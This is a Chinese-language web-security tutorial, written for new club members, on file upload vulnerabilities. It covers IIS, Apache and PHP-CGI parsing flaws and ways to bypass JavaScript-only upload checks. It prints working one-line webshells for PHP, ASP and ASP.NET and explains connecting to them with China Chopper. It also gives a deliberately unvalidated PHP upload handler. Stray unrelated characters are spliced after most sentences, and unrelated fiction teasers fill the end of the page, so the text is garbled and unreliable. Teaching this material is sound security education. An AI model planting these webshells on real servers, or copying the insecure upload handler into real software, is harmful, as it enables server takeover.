web安全(五)上傳漏洞(一)

? ? ? ?只要web應(yīng)用程序允許上傳文件就有可能存在文件上傳漏洞药蜻。那么如何確認(rèn)web應(yīng)用程序是否存在上傳漏洞瓷式?比如:我的網(wǎng)站是一個BBS論壇,由php語言編寫语泽,用戶可以上傳自己的頭像贸典,也就是圖片文件,但文件上傳時并沒有對圖片格式做驗證湿弦,導(dǎo)致用戶可以上傳任意文件瓤漏,那么這就是一個上傳漏洞腾夯。

5.1解析漏洞

? ? ? ?攻擊者在利用上傳漏洞是颊埃,通常會與Web容器的解析漏洞配合在一起。常見的web容器有IIS蝶俱、Apache班利、Nginx等。

5.1.1 IIS解析漏洞(6.0以下版本)

? ? ? ?IIS6.0在解析文件時存在以下兩個解析漏洞榨呆。
? ? ? ?①當(dāng)建立.asa罗标、.asp格式的文件夾時,其目錄下的任意文件都將被IIS當(dāng)做asp文件夾來解析。
? ? ? ?例如:當(dāng)建立文件夾parsing.asp闯割,在parsing.asp文件夾內(nèi)新建一個文本文檔test.txt彻消,其內(nèi)容為<%=NOW()%>,然后在瀏覽器內(nèi)訪問宙拉。如圖

IIS6.0.png

? ? ? ?“NOW()”是ASP提供獲取當(dāng)前時間的函數(shù)宾尚,TXT是文本文檔格式,IIS是不會去解析此類文件的谢澈,應(yīng)該會直接顯示其內(nèi)容煌贴,而在parsing.asp文件夾中,卻被當(dāng)做ASP腳本來解析锥忿。
? ? ? ?②當(dāng)文件為*.asp;1.jpg時牛郑,IIS6.0同樣會以ASP腳本來執(zhí)行,如:新建文本敬鬓,test.asp;1.jpg淹朋,內(nèi)容為<%=NOW()%>。如圖
IIS6.0.png

5.1.2Apache解析漏洞

? ? ? ?在Apache1.x和Apache2.x存在解析漏洞钉答,與IIS解析漏洞不同瑞你。
? ? ? ?Apache在解析文件時有一個原則:當(dāng)碰到不認(rèn)識的擴(kuò)展名時,將會從后向前解析希痴,直到碰到認(rèn)識的擴(kuò)展名為止者甲,如果都不認(rèn)識則會暴露其源代碼。比如:
? ? ? ?? ? ? ?1.php.rar.aa.xx
? ? ? ?Apache首先會解析xx拓展名砌创,如果不認(rèn)識解析aa虏缸,這樣一直便利到認(rèn)識的拓展名為止,然后再將其進(jìn)行解析嫩实。在Apache安裝目錄下“/conf/mime.types”文件中有詳細(xì)的拓展名列表刽辙。


mime.types.png

? ? ? ?有些程序開發(fā)人員在上傳文件時,判斷文件名是否是PHP甲献、ASP宰缤、ASPX、等晃洒,如果是則不允許上傳慨灭,或者只允許上傳某些類型的文件。這時攻擊者可以利用解析漏洞繞過程序檢測球及,獲取到webshell氧骤。

5.1.3 PHP CGI解析漏洞

? ? ? ?Nginx是一款高性能的Web服務(wù)器,通常用來作為PHP的解析容器吃引,Nginx也曾經(jīng)被爆過兩個“解析漏洞”筹陵,比如


http://127.0.0.1/1.jpg/1.php.png

? ? ? ?此時的1.php是不存在的刽锤,卻可以看到1.jpg已經(jīng)按照php腳本來解析了,問題就出現(xiàn)在這個“1.php”上(1.php并不是特定的可以隨意命名)朦佩。這就意味著攻擊者可以上傳合法的“圖片木馬”并思,然后再URL后面加上“XXX.php”,就可以獲得網(wǎng)站的Webshell语稠。

? ? ? ?這種解析漏洞其實是phpCGI的漏洞纺荧。在php的配置文件中有一個關(guān)鍵的選項:cgi.fi:x_pathinfo。這個選項在某些版本中是默認(rèn)開啟的颅筋,在開啟時訪問URL宙暇。比如http://****************/x.txt/x.php x.php是不存在的文件,php會向前遞歸解析议泵,于是造成了解析漏洞占贫。


5.2繞過上傳漏洞

? ? ? ?開發(fā)web應(yīng)用程序,一般都會遇到文件上傳先口,比如:上傳文檔并提供下載型奥,上傳圖片增加用戶體驗,文件上傳的基本流程相同碉京,客戶端使用JavaScript驗證厢汹,服務(wù)器端采用隨機(jī)數(shù)來重命名文件,以防止文件重復(fù)谐宙。

? ? ? ?? ? ? ?程序員在防止上傳漏洞時可以分為以下兩種烫葬。
? ? ? ?? ? ? ?①客戶端檢測:客戶端使用JavaScript檢測,在文件未上傳時凡蜻,就對文件進(jìn)行驗證搭综;
? ? ? ?? ? ? ?②服務(wù)器端腳本一般會檢測文件的MIME類型,檢測文件拓展名是否合法划栓,甚至有些程序員檢測文件中是否嵌入惡意代碼兑巾。

? ? ? ?在研究上傳漏洞之前,來看兩個小工具:中國菜刀一句話木馬忠荞。

? ? ? ?該軟件提供的服務(wù)器端文件僅有一行代碼蒋歌。常見的代碼如下:

PHP:          <?php @eval($_POST['value']); ?>
ASP:          <%eval request("value") %>
ASP.NET:   <%@ Page Language="Jscript"%><%eval(Request.Item["value"],"unsafe");%> 
image.png

正因為代碼短小精悍,所以被黑客成為一句話木馬(一句話后門)委煤。
? ? ? ?將<?php @eval($_POST['x']); ?>保存為shell.php堂油,上傳至PHP主機(jī)空間中,配置菜刀進(jìn)行連接素标,如圖:


配置菜刀連接.png

? ? ? ?“圖片一句話”則是將一句話木馬插入在圖片文件中称诗,而且并不損壞圖片文件,這一方法可以躲過少許的防火墻檢測头遭。一句話木馬的制作

? ? ? ?知道了上傳漏洞及一句話圖片木馬后寓免,下面研究攻擊者如何繞過程序員的防護(hù)思維來上傳一句話木馬文件的。

5.2.1客戶端檢測

? ? ? ?很多程序員僅僅通過使用JavaScript來拒絕非法文件上傳计维。這樣驗證對一些普通用戶是上傳錯誤還是可以袜香,對專業(yè)技術(shù)人員,是非常低級的驗證鲫惶。攻擊者可以通過非常多的方法來突破客戶端驗證蜈首。下面是一個非常簡單的文件上傳示例,使用JavaScript驗證欠母。

? ? ? ?Upload.html頁面使用JavaScript對文件拓展名驗證欢策,如果不是白名單中的拓展名,那么Form表單將不會提交至服務(wù)器赏淌,代碼如下:
? ? ? ?Upload.html

<!DOCTYPE html>
<html>
<head>
    <title>圖片上傳</title>

<script type="text/javascript">
    function checkFile(){
        var flag = false;                                                                 //是否可以上傳的標(biāo)志位
        var str = document.getElementById("file").value;   //獲取文件名
        str = str.substring(str.lastIndexOf('.') + 1);            //得到擴(kuò)展名
        var arr = new Array('png','bmp','gif','jpg');           //允許上傳的擴(kuò)展名
        for (var i = 0; i < arr.length; i++) {                                //循環(huán)判斷文件名是否合法
            if (str == arr[i]) {
                flag = true;
            }
        }
        if (!flag) {
            alert('文件不合法2瓤堋!');
        }
        return flag ;
    }
</script>
</head>
<body>

    <form action="upload.php" method="post" onsubmit="checkFile" enctype="multipart/form-data">
        <input type="file" name="file" id="file" /><br />
        <input type="submit" value="提交" name="submit" />
    </form>
    //onsubmit六水,按鈕點擊之后俺孙,執(zhí)行JavaScript。
</body>
</html>

? ? ? ?Upload.php

<?php
    if (isset($_POST['submit'])) {
        $name = $_FILES['file']['name'];                            //接收文件名
        $name = md5(date('Y-m-d h:m:s')).strrchr($name, ".");
                                                                          //文件重命名操作掷贾,保留原有擴(kuò)展名
        $size = $_FILES['file']['size'];
        $tmp = $_FILES['file']['tmp_name'];       //臨時路徑
        move_uploaded_file($tmp, $name);            //移動臨時文件到當(dāng)前文件目錄
        echo "文件上傳成功睛榄!path:".$name;
    }
?>
1.FireBug

? ? ? ?發(fā)文時,火狐已經(jīng)沒有firebug了想帅,直接用F12就行了场靴。
? ? ? ?當(dāng)單擊“提交”按鈕后,F(xiàn)orm表單將會觸發(fā)onsubmit事件港准,onsubmit事件將會條用checkFile函數(shù)憎乙。checkFile函數(shù)將會檢測文件拓展名是否合法,并返回一個布爾值叉趣。如果checkFile函數(shù)返回TRUE泞边,則表單提交,反之彈出對話框“文件不合法!!”疗杉,文件無法提交到服務(wù)器阵谚。知道這一點后,我們將onsubmit事件刪除烟具,就可以繞過JavaScript函數(shù)驗證梢什。


image.png

? ? ? ?在本地構(gòu)造HTML提交也可以突破JavaScript驗證,朝聋。F12直接刪除方便一些嗡午。

2.中間人攻擊

? ? ? ?中間人攻擊這種方式與Firebug完全不同,F(xiàn)ireBug是刪除客戶端的JavaScript驗證冀痕,而使用Burp Suite 則是按照正常的流程通過JavaScript驗證荔睹,然后在傳輸層中的HTTP層做手腳狸演。
? ? ? ?首先把木馬文件擴(kuò)展名改為一張正常圖片的擴(kuò)展名,比如JPG擴(kuò)展名僻他,在上傳時使用Burp Suite 攔截上傳數(shù)據(jù)宵距,再將其中的擴(kuò)展名JPG修改為php,就可以繞過客戶端驗證吨拗,如圖:


image.png

此時上傳到服務(wù)器的就是php類型的文件了满哪。

? ? ? ?任何客戶端驗證都是不安全的∪芭瘢客戶端驗證是防止用戶輸入錯誤哨鸭。減少服務(wù)器開銷,而服務(wù)器驗證才可以真正防御攻擊者娇妓。
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?本文大部分內(nèi)容摘自web安全深度剖析像鸡,特為啄木鳥網(wǎng)絡(luò)安全工作室新社員編寫,適合小白快速學(xué)習(xí)使用峡蟋。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末坟桅,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子蕊蝗,更是在濱河造成了極大的恐慌仅乓,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,968評論 6 482
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件蓬戚,死亡現(xiàn)場離奇詭異夸楣,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)子漩,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,601評論 2 382
  • 文/潘曉璐 我一進(jìn)店門豫喧,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人幢泼,你說我怎么就攤上這事紧显。” “怎么了缕棵?”我有些...
    開封第一講書人閱讀 153,220評論 0 344
  • 文/不壞的土叔 我叫張陵孵班,是天一觀的道長。 經(jīng)常有香客問我招驴,道長篙程,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,416評論 1 279
  • 正文 為了忘掉前任别厘,我火速辦了婚禮虱饿,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己氮发,他們只是感情好渴肉,可當(dāng)我...
    茶點故事閱讀 64,425評論 5 374
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著折柠,像睡著了一般宾娜。 火紅的嫁衣襯著肌膚如雪批狐。 梳的紋絲不亂的頭發(fā)上扇售,一...
    開封第一講書人閱讀 49,144評論 1 285
  • 那天,我揣著相機(jī)與錄音嚣艇,去河邊找鬼承冰。 笑死,一個胖子當(dāng)著我的面吹牛食零,可吹牛的內(nèi)容都是我干的困乒。 我是一名探鬼主播,決...
    沈念sama閱讀 38,432評論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼贰谣,長吁一口氣:“原來是場噩夢啊……” “哼娜搂!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起吱抚,我...
    開封第一講書人閱讀 37,088評論 0 261
  • 序言:老撾萬榮一對情侶失蹤百宇,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后秘豹,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體携御,經(jīng)...
    沈念sama閱讀 43,586評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,028評論 2 325
  • 正文 我和宋清朗相戀三年既绕,在試婚紗的時候發(fā)現(xiàn)自己被綠了啄刹。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,137評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡凄贩,死狀恐怖誓军,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情疲扎,我是刑警寧澤昵时,帶...
    沈念sama閱讀 33,783評論 4 324
  • 正文 年R本政府宣布,位于F島的核電站评肆,受9級特大地震影響债查,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜瓜挽,卻給世界環(huán)境...
    茶點故事閱讀 39,343評論 3 307
  • 文/蒙蒙 一盹廷、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧久橙,春花似錦俄占、人聲如沸管怠。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,333評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽渤弛。三九已至,卻和暖如春甚带,著一層夾襖步出監(jiān)牢的瞬間她肯,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,559評論 1 262
  • 我被黑心中介騙來泰國打工鹰贵, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留晴氨,地道東北人。 一個月前我還...
    沈念sama閱讀 45,595評論 2 355
  • 正文 我出身青樓碉输,卻偏偏與公主長得像籽前,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子敷钾,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,901評論 2 345

推薦閱讀更多精彩內(nèi)容

  • 文件上傳漏洞是指用戶上傳了一個可執(zhí)行的腳本文件枝哄,并通過此腳本文件獲得了執(zhí)行服務(wù)器端命令的能力。這種攻擊方式是最為直...
    付出從未后悔閱讀 1,123評論 0 4
  • 一阻荒、初步認(rèn)識 1.上傳功能:網(wǎng)站上各種可以上傳文件挠锥,圖片的地方可以被用作上傳點進(jìn)行非法上傳 2.上傳原理:在前端代...
    楠昭閱讀 1,616評論 1 11
  • 漏洞挖掘與利用 測試環(huán)境的搭建 引言 為什么要搭建本地測試環(huán)境?我想下面的東西能夠回答你的疑惑财松。 第二百八十五條 ...
    作業(yè)沒寫完閱讀 3,173評論 0 4
  • 韓國天氣(近十天) 行程計劃 (提前一天) 航班:27號星期日 KE876 10:55~13:35 浦東機(jī)場T1航...
    Rosiee閱讀 198評論 0 0
  • 如果再給你一次機(jī)會辆毡,和那個愛過又沒結(jié)果的人重來菜秦,你們的結(jié)局是不是就和現(xiàn)在不一樣了?如果你一早明白珍惜相遇比相遇本身...
    涼涼夏末閱讀 371評論 0 1